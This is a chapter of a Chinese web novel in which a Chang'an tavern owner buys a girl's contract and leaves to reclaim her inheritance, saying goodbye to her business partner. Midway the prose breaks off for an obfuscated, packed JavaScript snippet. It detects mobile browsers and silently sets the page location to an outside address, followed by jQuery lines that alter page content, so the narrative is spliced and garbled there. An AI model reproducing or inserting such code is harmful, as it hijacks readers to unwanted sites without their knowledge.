李夫人终于扛不住压力了。
她的做法不是找连理的麻烦,也不是把杏儿抢回去,而是直接去找了鹿金藏。
“咱俩斗这么久,我这边也亏了不少,休战吧。杏儿我也不要了。”李夫人眼底乌青一片:“鹿老板,我把杏儿三两银子卖给你。你再看看我那些调酒的东西,你要喜欢就给我三两银子一起打包吧。”
听陈老板说的,李夫人和李先生吵的不可开交,最后琥珀光楼挂上出兑。
李家酒楼本来就被江夫人的生意顶撞的不行,琥珀光楼多半也是殊死一搏,结果却赔的底裤都不剩。也只有这样,才能让爱耍尖的李夫人退步吧?
鹿金藏也不跟她多废话,直接拿钱买下杏儿的卖身契,又在李夫人那堆仿造的不怎么样的工具里挑挑拣拣,只拿走两把调酒勺和一个不大的冰鉴。
“虽然你把卖身契买走了,但杏儿现在不在我这儿。”李夫人笑的得意:“她叫咸宁观的连理带去当姑子了,你若想要,就去咸宁观和连道长说罢。”
她说完,吧台前的连理和多兰同时回头看向她。
“额,连、连道长怎么在这儿?”李夫人眼角抽搐。
有人撑腰的人总会多些胆量,杏儿鼓起勇气,扶着翠微的手,轻轻探出个小脑袋瓜来。
李夫人的眼珠从有情人身上挪到杏儿身上,最后挪到鹿金藏身上。面对鹿金藏礼貌而不失得体的微笑,她终于绷不住尖叫冲出琥珀光。
在门口,她还不忘指着鹿金藏放狠话:“你给我等着!老娘早晚东山再起,杀回长安!到时候你这店别想赚一分钱!”
虽然李夫人给鹿金藏造成不少麻烦,但就冲她放狠话还有点东山再起的勇气,鹿金藏选择出门跟她挥挥手。
这回杏儿呆在自己这里无可指摘,心里大石头落地,鹿金藏心情大好。
当然啦,最开心的还是杏儿每天都有进步。小姑娘确实很有天赋,所有东西自己教一次就会,练习也刻苦,好孩子当然谁都喜欢嘛。
“看来我只要回去打官司,把爹妈的遗产全拿回来变现后,很快就能在东市再开一家分店了!”
鹿金藏相当乐观,接着想起东市还有某人的店面:“说起来,东家在东市的首饰店开的怎么样了?”
“鹿老板这么关心,亲自瞧瞧去呗?”多兰双臂枕在脑后,微微后仰看向她。
“多兰先生这么关注我,不如留在我这里干活?”
“好呀好呀,我最喜欢和姑娘们在一起了。”
前脚回答完,下一秒连理的巴掌就落在多兰脸上。多兰连连讨饶,扶着连理的肩膀,往她脸边凑,说着各种甜言蜜语哄她。
这两个也是奇怪,一个才名冠绝长安却出家避世,另一个就算知晓对方不愿还俗也不肯离开。那要说两个没情,那这又没什么誓言的感情,应该早就断了才是。
大概每对夫妻都有自己的相处方式吧?
“他们是怎么认识的?”鹿金藏小声问阿尔曼。
“不知道,据说是教坊里认识的。好像是有人想巴结二哥的时候,二哥把多兰大哥派出去打发应酬了。二哥向来不喜欢去教坊青楼这些地方。”阿尔曼耸耸肩:“总体来说,阴差阳错吧,具体什么时候在一起的,我也不知道了。”
“你们家生意真厉害啊,教坊那是寻常人能进去观赏的吗?很大的官请你们吧?”
阿尔曼斜眼打量她,最后难看撇嘴:“我以为你要问我玫瑰般的爱情,结果你的关注点都在生意上吗?”
鄙视完,她看多兰和连理腻乎的旁若无人,还差点肘倒杯子,立马上去接过杯子,并开始指责他们。琥珀光又陷入快活的空气中。
现在有能替代自己的人了,该动身了。鹿金藏看着他们,又望向人群熙攘的长安城,想到:把自己的东西拿回来,就可以跟他们都断了,就可以把心思全放在长安这边了。
至于姐姐?对不起,我不是这里的鹿金藏,而您又早早嫁人,我实在是不知道该怎么面对您,家产我就勉为其难都替你收下了——当然你要来了好好说,我肯定愿意分你一点。我是商人嘛,贪婪一点也正常。
鹿金藏在心里擦去不存在的眼泪,转去后厨掏出自己酿的最后一点黄酒,换了个漂亮瓷瓶封装。
“我去看看东家的珠宝店装修如何了。”她向翠微道:“翠微,准备马车,带上地契,咱们回老家把失去的东西全抢回来!”
*
叶礼燕的首饰铺开始搬货了。
他受鹿金藏启发,选来几件做工最精美的饰品挂在窗口吸引客人,又立块牌子拿朱砂写的“开业大酬宾,全场首饰八折,限时三天,卖完即止”。别说,效果还不错,不少姑娘来问。
这是他头一次试水卖饰品,还是因为多兰这次带回的奴隶中,有对父子会做首饰,说愿意给他工作,他一时心软就答应试试了。
嗯,当然,也因为阿尔曼越来越大了,早晚——如果没有当然更好——要嫁人的,母亲不在,他得给阿尔曼准备嫁妆。肯定不能太寒酸,必须这可是他叶礼燕的妹妹,怎么也得三间铺子、几万黄金的陪嫁吧?
正好开首饰铺,也可以给她挑一些好看的首饰当嫁妆。哦,如果鹿金藏也喜欢的话,可以给她几件,毕竟她家店铺姑娘多。
“哎哟,东家你这牌子写的还有点我的风格呢!给我版权费了吗?”
他现在已经能听声认人了,甚至都没回头就知道是鹿金藏在牌子前围观。
“行啊,那我也给原料张涨价吧?反正至今我还没跟你要阿尔曼的技术钱和给你提供的蔗糖钱。”
鹿金藏撇撇嘴,指着窗口的宝石手镯:“我想要这个。”
“八折,钱拿来我立马打包送到你店里去。”
“切!”
他俩的玩笑总带着对金钱的渴望,像是某个波斯经典笑话:小偷总是会对贼了然一笑。
“好啦,不开玩笑了,我是来庆祝你新店开业的。”鹿金藏拿出装黄酒的梨花木盒子:“这是我之前酿的黄酒,因为工艺太繁杂,我已经不做了。这是剩下的最后一瓶,给你拿来庆祝开业了。”
“记得再放一放再喝啊,再多放半年,味道应该更好。”
半年?
突然冒出的时限让叶礼燕心头一紧,他有些慌乱起来,声音也不受控制增大:“你去哪?怎么要半年?”
“我就是让你放半年再喝,紧张什么?”鹿金藏叫他吓一激灵,声音也放大起来:“我怎么可能走?也不可能跑那么久!我就回老家处理点遗产问题,撑死半个月!快点说不定七八天就回来了,我不能丢下你的分红跑路啊!”
“那是分
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463437|201286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
红的问题吗?店怎么办?翠微怎么办?你刚带回来的杏儿能独立调酒了吗?还有阿尔曼怎么办?”
叶礼燕说的话已经没什么逻辑在了,他只是很单纯的把所有鹿金藏认识的、对她来说重要的人拽出来,希望把她留下。他自己都没注意到,自己对鹿金藏要走这件事如此慌乱。
“店有刘玉和阿尔曼在,杏儿基本能把我教的都记住,酒水质量能保障——其实她挺有天赋的,我也得好好培养让她早点独当一面。”鹿金藏对情绪变化向来敏感,她语气放的很轻。
“而且,东家你得理解我啊,我有苦衷的,我得回家争家产。总不能让爹妈的产业落到畜生亲戚的手里才是。”
叶礼燕脸仍绷得紧紧的,金色的瞳孔随着呼吸在抖动。
那是很复杂的情绪,叶礼燕说不上来,最后只在心里说,鹿金藏的离开让自己不舒服。为什么?其实鹿金藏有时候挺讨厌的,不管是对他身子的莫名视线还是……没有还是了。而对自己身子的视线又不是不可原谅的事情。
“那你到底什么时候回来?”叶礼燕后知后觉自己似乎把话问回去了,重新找个话题:“到底回去做什么?我只知道你原不是长安人。”
“嗯……反正和东家你说也没什么关系。”
鹿金藏便将自己父母双亡、亲戚如何逼迫,自己又是如何金蝉脱壳的过程讲给他。
随着她的讲述,叶礼燕眉头越皱越紧,最后也不顾之前拼命改正的环胸动作,双臂环在胸口,歪头不知在思考什么。
“总之,就是这样,当时我没钱打官司,现在有了,自然要去把自己的财产都抢回来。”鹿金藏骄傲叉腰:“我可是还未婚的姑娘,是内家女!他们说什么都不能把我的钱强占!”
看她那副骄傲又势在必得的模样,叶礼燕忽然笑起来。
像是无奈,又像是理所应当。
“你一直是这样的,好像什么东西你得到都是理所当然的事,也不会觉得什么东西到你手里是浪费。”叶礼燕评价她时语气轻快。
“那当然,不管是钱还是其他的,我都值得最多最好的。爹妈生我一场,我凭什么受委屈,把自己手里的东西送出去?”
她就这样的,圆滑、骄傲,又不失该有的柔软。
她算是个好老板,也是个好人。
叶礼燕都知道。
“所以,你什么时候出发?”
“立马出发,翠微租的马车就在家门口。”鹿金藏略带歉意:“所以,你开业我大概是没法来恭喜了,按理来说我是无论如何该来祝贺你的。”她赶紧补充:“等我遗产都拿到手,我请你吃饭!去最好的酒楼!”
叶礼燕没说话,垂眸看着鹿金藏片刻,随后向身边的奴隶说起波斯语,仆人端着黄酒下去,不多时有拎着个酒袋出来。
没有杯子,他直接拎起酒袋,仰头往嘴里倒三口酒。葡萄的香气在夏日干燥的空气中那么清晰、那么黏腻。
“我知道唐家子人送人出门要喝酒。”他抬手擦嘴:“没有杯子,就用这个喝吧。希望你早去早回?”
“哎呀,东家你这可真是折煞我,毕竟您也算是我老板嘛。”话这么说,鹿金藏也没拒绝,接过酒壶喝了三口,带着酒壶走了。
她走了。叶礼燕看着鹿金藏的背影想:嗯,她半个月就回来了。